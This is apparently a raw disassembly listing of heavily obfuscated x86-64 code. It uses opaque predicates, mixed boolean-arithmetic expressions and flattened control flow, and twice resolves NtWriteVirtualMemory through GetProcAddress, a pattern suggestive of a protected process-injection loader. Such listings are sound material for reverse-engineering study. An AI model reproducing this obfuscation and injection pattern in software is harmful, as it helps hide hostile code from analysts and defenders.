mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9be6881a
mov ebx, ecx
and ebx, 0x641977e5
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x641977e4
and ebx, 0x9be6881b
or ebx, ebp
and edx, 0xe47c987a
and ecx, 0x1b836785
or ecx, edx
mov edx, ecx
xor edx, 0x1b836785
xor ecx, 0xe47c987a
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, bl
mov edx, ebx
xor dl, cl
not dl
and dl, cl
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
xor bl, 1
mov edx, eax
or dl, bl
xor bl, al
mov eax, edx
xor al, bl
test bl, 1
mov ecx, 0xe4932971
mov ebp, 0xac24aa51
cmovne ecx, ebp
test dl, 1
mov edx, 0xe4932971
jmp 0x1400c7d93
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x79b9d4e
and ecx, 0xf86462b1
or ecx, edx
mov edx, ecx
xor edx, 0x10204030
xor ecx, 0x5810500
and edx, 0x123ad87e
and ecx, 0xedc52781
or ecx, edx
mov edx, ecx
xor edx, 0x12001062
xor ecx, 0xe8052300
and ecx, 0xe83feb1c
and edx, 0x17c014e3
or edx, ecx
xor edx, 0x17c014e3
sete r8b
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r10b
mov edx, r9d
xor dl, r8b
and dl, r9b
mov eax, edx
not al
and al, dl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor al, r10b
mov edx, ebx
or bl, r9b
and r9b, r10b
and dl, r8b
or dl, r9b
xor r10b, r8b
xor bl, 1
or bl, r10b
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
xor cl, 1
or dl, al
mov eax, ecx
xor al, dl
not al
test al, 1
mov eax, 0xb1a5bdc7
mov ebp, 0x484821ee
cmovne eax, ebp
test cl, 1
mov ecx, 0xb1a5bdc7
cmovne ecx, eax
jmp 0x1400ca4f0
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov eax, ebp
not eax
mov edx, ebp
xor edx, 0xe2b56e39
and edx, ebp
mov ecx, ebp
or ecx, 0x1d4a91c6
mov edi, edx
not edi
mov esi, ecx
and esi, 0xccba0f47
mov ebx, eax
and ebx, 0x22056038
or ebx, esi
or ecx, edi
and edi, 0xccba0f47
and edx, 0x3345f0b8
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1d4a91c7
and ecx, 0xe2b56e38
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebp
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov edx, ebx
xor dl, 1
xor cl, al
mov eax, ecx
xor al, 1
and dl, bl
and al, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
xor al, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x6467319b
mov ebp, 0xb4b71158
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x6467319b
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov ebp, edi
and ebp, 0x20880009
mov edx, esi
and edx, 0xcc140012
or edx, ebp
mov ebp, edx
xor ebp, 0x80040010
xor edx, 0x326071a5
mov ecx, edi
or ecx, 0xec9c001b
mov ebx, ecx
not ebx
and edx, 0x7e7071a7
and ebp, 0x808c0018
or ebp, edx
and ecx, 0x7e7071a7
and ebx, 0x1038e40
or ebx, ecx
xor ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0x1363ffe5
and ebx, 0xec9c001a
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ebx
and edx, 0x8a8ce5d
and ecx, 0xf75731a2
or ecx, edx
or ebx, esi
and esi, 0x8a8ce5d
and edi, 0xf75731a2
or edi, esi
xor edi, ecx
not ebx
or ebx, edi
mov ecx, ebx
not ecx
and ecx, 0x3ee52780
and ebx, 0xc11ad87f
or ebx, ecx
xor ebx, 0xc11ad87f
setne cl
cmp r8d, 0xa
setl al
cmp r8d, 9
setg dl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov r8d, edx
xor r8b, 1
mov ebx, ecx
or bl, al
xor bl, 1
xor cl, al
not cl
and cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, edx
and al, r8b
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
xor al, bl
xor bl, dl
or cl, r8b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x8e71e4d6
mov ebp, 0xc102f8ca
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x8e71e4d6
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
mov edx, ebp
xor edx, 0xb9d5bcc
and edx, ebp
not ebp
and ebp, 0x2b195f37
and edi, 0xd4e6a0c8
or edi, ebp
mov ebp, edi
xor ebp, 0x8000c8
xor edi, 0xb195b04
or edi, 0xf462a433
mov ebx, edx
not ebx
mov ecx, edi
and ecx, 0x2c6c3004
and ebp, 0x3914bc8
or ebp, ecx
or edi, ebx
and ebx, 0x2c6c3004
and edx, 0xd393cffb
or edx, ebx
xor edx, ebp
not edi
or edi, edx
mov edx, edi
not edx
and edx, 0xf462a433
and edi, 0xb9d5bcc
or edi, edx
mov edx, edi
not edx
mov ecx, edi
xor ecx, 0xdfc94c5a
mov ebp, ecx
and ebp, edx
and ecx, edi
mov ebx, ebp
not ebx
mov esi, ecx
not esi
mov eax, ebx
and eax, 0xe4eb982c
and ebp, 0x1b1467d3
or ebp, eax
or ebx, esi
and esi, 0xe4eb982c
and ecx, 0x1b1467d3
or ecx, esi
xor ecx, ebp
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xeb7e9a9a
and ebx, 0x14816565
or ebx, eax
xor ebx, 0xcb48293e
and edi, 0x8a63b01a
mov eax, edx
and eax, 0x759c4fe5
or eax, edi
xor eax, 0x8a63b01b
and edx, 1
or edx, eax
not edx
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
or edx, 0x23103f1f
mov ebp, edx
not ebp
or eax, 0xdcefc0e0
mov ecx, eax
not ecx
and edx, 0x6354ed13
and ebp, 0x9cab00e0
or ebp, edx
and eax, 0x6354ed13
and ecx, 0x120c
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0xcae37697
and ecx, 0x351c8968
or ecx, eax
mov eax, ecx
xor eax, 0x48010088
xor ecx, 0xc2267
and eax, 0x5e019498
and ecx, 0xa1fe6b67
or ecx, eax
xor ecx, 0x5e019498
cmp ecx, 0xffffffff
sete r9b
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov edx, eax
xor dl, r9b
and dl, al
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, eax
or dl, r8b
xor dl, 1
xor al, r8b
not al
and al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
and dl, r9b
xor cl, r9b
or dl, cl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x8170b529
mov ebp, 0x4171ed0
cmovne ecx, ebp
test bl, 1
mov edx, 0x8170b529
jmp 0x1400c7d93
mov ecx, 0xef1a8aa1
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x1a7e52fa
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x64f8be38
and ecx, 0x9b0741c7
or ecx, eax
mov edx, ecx
xor edx, 0xb030007
xor ecx, 0x40001a20
and ecx, 0xd0045be0
and edx, 0x2ffba41f
or edx, ecx
mov ecx, edx
xor ecx, 0xc0001900
xor edx, 0x2ffba41f
mov eax, edx
or eax, 1
mov ebp, eax
not ebp
and edx, 0x1894e6e1
and ecx, 0xe76b191e
or ecx, edx
mov edx, ecx
xor edx, 0xa72a111c
xor ecx, 0x1894e6e0
mov ebx, eax
and ebx, 0x5841ec83
and ebp, 0xa7be137c
or ebp, ebx
or eax, ecx
and ecx, 0x5841ec83
and edx, 0xa7be137c
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0x69f63cc6
and edx, eax
not eax
and eax, 0x8e20c02
and ecx, 0x611430c4
or ecx, eax
xor ecx, 0x611430c4
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xe2dd4861
and edx, 0x1d22b79e
or edx, eax
mov eax, edx
xor eax, 0x70548a48
xor edx, 0x82013427
and eax, 0x797ecac8
and edx, 0x86813537
or edx, eax
xor edx, 0x86813537
sete al
cmp dword [0x14024b724], 9
setg cl
xor al, cl
mov edx, eax
xor dl, 1
or cl, dl
xor dl, cl
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x22884e17
mov ebp, 0x431ee30b
cmovne eax, ebp
test dl, dl
mov edx, 0x22884e17
cmovne edx, eax
test cl, cl
cmovne edx, eax
jmp 0x1400ca372
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0xc6b9e4dc
and edx, ebp
not ebp
and ebp, 0xc6b9e4dc
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x39461b23
and edx, 0xc6b9e4dc
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0x1b9054da
and edx, 0xe46fab25
or edx, ebp
mov ebp, edx
xor ebp, 0xa2820
xor edx, 0x1b9054db
mov edi, ecx
and edi, 0xf675d79e
and ebx, 0x98a2860
or ebx, edi
or ecx, edx
and edx, 0xf675d79e
and ebp, 0x98a2861
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3595f9b6
and ebp, 0xca6a0649
or ebp, edi
or ecx, ebx
and ebx, 0x3595f9b6
and edx, 0xca6a0649
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ecx
or dl, bl
xor bl, 1
or bl, r10b
xor bl, 1
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
and r9b, cl
and r10b, r8b
or r10b, r9b
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
xor cl, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov r9d, edx
xor r9b, 1
mov eax, edx
and al, r9b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov ebx, eax
and al, cl
xor r9b, cl
xor cl, 1
xor bl, 1
and bl, cl
or al, bl
or cl, dl
xor cl, 1
or cl, r9b
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x289a8b14
mov ebp, 0xe2953928
cmovne edx, ebp
test cl, 1
mov ecx, 0x289a8b14
cmovne ecx, edx
test al, 1
jmp 0x1400c9dae
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc07b3180
mov ebp, edx
and ebp, 0x13008652
or ebp, ecx
xor ebp, 0x13008652
and edx, 0x2c84482d
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xa8e9d260
and edx, 0x57162d9f
or edx, ecx
mov ecx, edx
xor ecx, 0x846d9a4d
xor edx, 0x7b9265b2
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfa2e3757
and ecx, 0x5d1c8a8
or ecx, ebp
xor ecx, 0xfa2e3757
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
and dl, bl
mov eax, r8d
and al, cl
or al, dl
mov edx, eax
xor dl, bl
and dl, al
xor bl, cl
not bl
and bl, cl
xor cl, r8b
and cl, r8b
mov eax, ebx
xor al, 1
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
xor dl, 1
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor al, 1
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
xor al, dl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xbe0d0dad
mov edx, 0xb86f912c
cmovne ecx, edx
test bl, 1
mov edx, 0xbe0d0dad
cmovne edx, ecx
test al, 1
cmove edx, ecx
jmp 0x1400ca372
mov ecx, 0x8b216164
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x4ac4d9a1
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov esi, edx
xor esi, 0xfffffffe
and esi, ecx
and edx, 0x90f1d4c7
and ecx, 0x6f0e2b38
or ecx, edx
mov ebx, ecx
xor ebx, 0x8020921
mov ebp, esi
not ebp
xor ecx, 0x90f1d4c6
mov edi, ebp
and edi, 0xf79c32de
and esi, 0x863cd21
or esi, edi
or ebp, ecx
and ecx, 0xf79c32de
and ebx, 0x863cd21
or ebx, ecx
xor ebx, esi
not ebp
or ebp, ebx
mov ecx, ebp
mov edx, ebp
xor edx, 0xa9f9a1e1
and edx, ebp
not ebp
and ebp, 0x2df2929c
and ecx, 0xd20d6d63
or ecx, ebp
mov ebp, ecx
xor ebp, 0x21
xor ecx, 0x29f08080
or ecx, 0x56065e1e
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xddabe7da
and ebp, 0x20500021
or ebp, edi
or ecx, ebx
and ebx, 0xddabe7da
and edx, 0x22541825
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x24699520
and ecx, 0xdb966adf
or ecx, edx
mov edx, ecx
xor edx, 0x1268c81a
xor ecx, 0xd1030c1
and ecx, 0x6d1733e5
and edx, 0x92e8cc1a
or edx, ecx
mov ecx, edx
xor ecx, 0x2c88402
xor edx, 0x291610e1
and edx, 0xb93658f9
and ecx, 0x46c9a706
or ecx, edx
xor ecx, 0x46c9a706
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov edx, eax
xor dl, r10b
mov ecx, edx
not cl
and cl, r10b
mov ebx, eax
or bl, r10b
xor cl, 1
mov r11d, ecx
xor r11b, bl
or cl, bl
xor cl, 1
or cl, r11b
and dl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x4ea8e1dc
mov edx, 0xef50eb5
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0x4ea8e1dc
cmovne eax, edx
test bl, 1
cmovne eax, ecx
jmp 0x1400cac86
mov rax, qword [rsp + 0x30]
mov ecx, 0x65c09401
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
mov edi, dword [0x14024b724]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov ecx, ebx
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
and eax, ebp
and ecx, ebx
or ecx, eax
xor ebp, ecx
test ebp, ecx
sete r9b
setne dl
cmp edi, 0xa
setl cl
cmp edi, 9
setg r8b
mov eax, edx
xor al, r9b
and al, dl
mov edx, eax
not dl
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, r8b
and dl, al
and al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
xor dl, cl
and cl, r9b
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
mov edx, r8d
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
and cl, al
xor al, 1
xor dl, 1
and dl, al
or dl, cl
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x4ba481dd
mov eax, 0x10929617
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x4ba481dd
jmp 0x1400ca6f6
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x60af2fa0
and edx, ecx
and ecx, 0x9f50d05f
or ecx, ebp
xor ecx, 0x9f50d05f
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebx, ecx
mov ebp, ecx
xor ebp, 0x2286606b
and ebp, ecx
not ecx
and ecx, 0x828a7132
and ebx, 0x7d758ecd
or ebx, ecx
mov edx, ebx
xor edx, 0x7d758ecd
mov ecx, ebx
xor ecx, 0xa00c1159
and ecx, edx
mov edi, ecx
and edi, ebp
xor ebp, ecx
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xdd799f95
and ebp, 0x2286606a
or ebp, ecx
xor ebx, 0x800a7120
and ebx, 0xf56b7be4
mov ecx, edx
and ecx, 0xa94841b
or ecx, ebx
xor ecx, 0xf56b7be5
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xfac4348b
and edx, 0x53bcb74
or edx, ecx
mov ebx, edx
xor ebx, 0x4180120
mov ecx, ebp
not ecx
xor edx, 0xfac4348b
mov edi, ecx
and edi, 0x8b63fad4
and ebp, 0x749c052b
or ebp, edi
or ecx, edx
and edx, 0x8b63fad4
and ebx, 0x749c052b
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x7343b21e
and ecx, 0x8cbc4de1
or ecx, edx
mov edx, ecx
xor edx, 0x84100800
xor ecx, 0x7343b21e
mov ebp, ecx
and ebp, 0x79ed45e1
and edx, 0x8612ba1e
or edx, ebp
xor edx, 0x8612ba1e
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, edx
and al, cl
or dl, bl
and bl, r8b
or bl, al
mov r9d, ebx
xor r9b, cl
and r9b, bl
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r9d
xor dl, 1
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r9b
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x482f8848
mov eax, 0x7822c2c6
cmovne ecx, eax
test dl, 1
mov edx, 0x482f8848
cmovne ecx, edx
jmp 0x1400ca5e6
mov ecx, 0x35bf1aab
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x90111030
and ebp, 0x20208600
or ebp, edx
mov ebx, ebp
xor ebx, 0x200000
xor ebp, 0x589f11c7
or ecx, 0xb0319630
mov edx, ecx
not edx
and ebp, 0x789f97c7
and ebx, 0x80200030
or ebx, ebp
and ecx, 0x789f97c7
and edx, 0x7406808
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x4fce69cf
and edx, 0xb0319630
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0xfe5306e4
and ebx, edx
not edx
and edx, 0xda09e259
and ecx, 0x25f61da6
or ecx, edx
mov ebp, ecx
xor ebp, 0x25f61da6
mov edx, ebp
and edx, 0xfe5306e4
mov edi, edx
and edi, ebx
xor ebx, edx
or ebx, edi
mov edx, ebx
not edx
and edx, 0x1acf91a
and ebx, 0xfe5306e5
or ebx, edx
and ebp, 1
xor ecx, 0x25f61da7
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7ef537aa
and ecx, 0x810ac855
or ecx, edx
mov ebp, ecx
xor ebp, 0x80080004
xor ecx, 0x7ef537aa
mov edx, ebx
not edx
mov edi, edx
and edi, 0x1377ddf9
and ebx, 0xec882206
or ebx, edi
or edx, ecx
and ecx, 0x1377ddf9
and ebp, 0xec882206
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xb6669cf9
and edx, 0x49996306
or edx, ecx
mov ecx, edx
xor ecx, 0x986204
xor edx, 0x94608cc8
and edx, 0xdd618dca
and ecx, 0x229e7235
or ecx, edx
xor ecx, 0x229e7235
sete r8b
setne bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
and al, bl
and r8b, dl
or r8b, al
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
xor al, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, r8d
xor al, 1
and al, dl
xor dl, 1
mov ecx, r8d
xor cl, dl
and cl, r8b
and dl, r8b
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xd5e7139c
mov ebp, 0xf4d1ee4e
cmovne edx, ebp
test cl, cl
mov ecx, 0xd5e7139c
cmove edx, ecx
test al, 1
cmovne edx, ebp
jmp 0x1400ca372
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xc3577790
and ebp, 0x3ca8886f
or ebp, edx
mov ebx, ebp
xor ebx, 0x4200028
xor ebp, 0x42007100
or ecx, 0x6eadf1f8
mov edx, ecx
not edx
or ebp, 0x1420400
and ebp, 0x6bcaf540
and ebx, 0x42500b8
or ebx, ebp
and ecx, 0x6bcaf540
and edx, 0x90100a07
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x91520e07
and edx, 0x6eadf1f8
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x7dd44f1e
and ebx, edx
not edx
and edx, 0xbb65a95a
and ecx, 0x449a56a5
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ecx
xor edx, 0x3944091a
or edx, 0x822bb0e1
mov edi, edx
not edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0x543c62d2
and edi, 0x29c00d0c
or edi, eax
or edx, esi
and esi, 0x543c62d2
and ebx, 0xabc39d2d
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x822bb0e0
and edx, 0x7dd44f1f
or edx, eax
and ebp, 1
xor ecx, 0x449a56a4
or ecx, ebp
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x325bc759
and eax, ecx
not ecx
and ecx, 0xf30cf807
and edx, 0xcf307f8
or edx, ecx
mov ecx, edx
xor ecx, 0x718
xor edx, 0x3208c001
or edx, 0xcda438a6
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0xf07740e2
and ecx, 0x2088719
or ecx, ebx
or edx, ebp
and ebp, 0xf07740e2
and eax, 0xf88bf1d
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x43641bf8
and edx, 0xbc9be407
or edx, eax
mov eax, edx
xor eax, 0x4802046
xor edx, 0x502adc00
and eax, 0x259520e7
and edx, 0xda6adf18
or edx, eax
mov eax, edx
xor eax, 0x258400a3
xor edx, 0x8a005608
and edx, 0x8a11764c
and eax, 0x75ee89b3
or eax, edx
xor eax, 0x75ee89b3
sete al
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
xor cl, bl
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
xor al, bl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xa5581a62
mov eax, 0xdd240807
cmovne ecx, eax
test bl, bl
cmove ecx, eax
test dl, 1
mov eax, 0xa5581a62
jmp 0x1400ca6f6
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x8da762b0
mov ebx, ecx
and ebx, 0x72589d4e
or ebx, edx
xor ebx, 0x72589d4e
mov edx, ecx
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x92cc5daf
and edx, 0x6d33a250
or edx, ebx
xor edx, 0x6d33a250
and ebp, 0x412c4ada
and ecx, 0xbed3b525
or ecx, ebp
xor ecx, 0xbed3b525
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe63918d3
and ecx, 0x19c6e72c
or ecx, edx
xor ecx, 0x19c6e72c
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, cl
or bl, dl
mov r10d, ebx
xor r10b, 1
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
mov eax, ebx
and al, r10b
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
xor al, cl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xc7665034
mov ebp, 0x62026db3
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xc7665034
jmp 0x1400ca6f6
mov edx, dword [0x14024b728]
mov r9d, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x40000048
mov edx, ebp
and edx, 0x9eb8e700
or edx, ebx
mov ebx, edx
xor ebx, 0x84b88100
xor edx, 0x614718ff
mov ecx, ebp
xor ecx, 0xdeb8e748
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0x1b47663a
and ebx, 0xc4b88140
or ebx, eax
or edx, esi
and esi, 0x1b47663a
and ecx, 0xe4b899c5
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x214718b6
and edx, 0xdeb8e749
or edx, eax
and edi, 0x61eaf4df
and ebp, 0x9e150b20
or ebp, edi
mov eax, ebp
xor eax, 0x98110900
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x7cef67e
and edx, 0xf8310981
or edx, ebx
xor ebp, 0x1caf45e
and ebp, 0x7cef67e
and eax, 0xf8310981
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
setne r8b
sete r10b
cmp r9d, 9
setg r11b
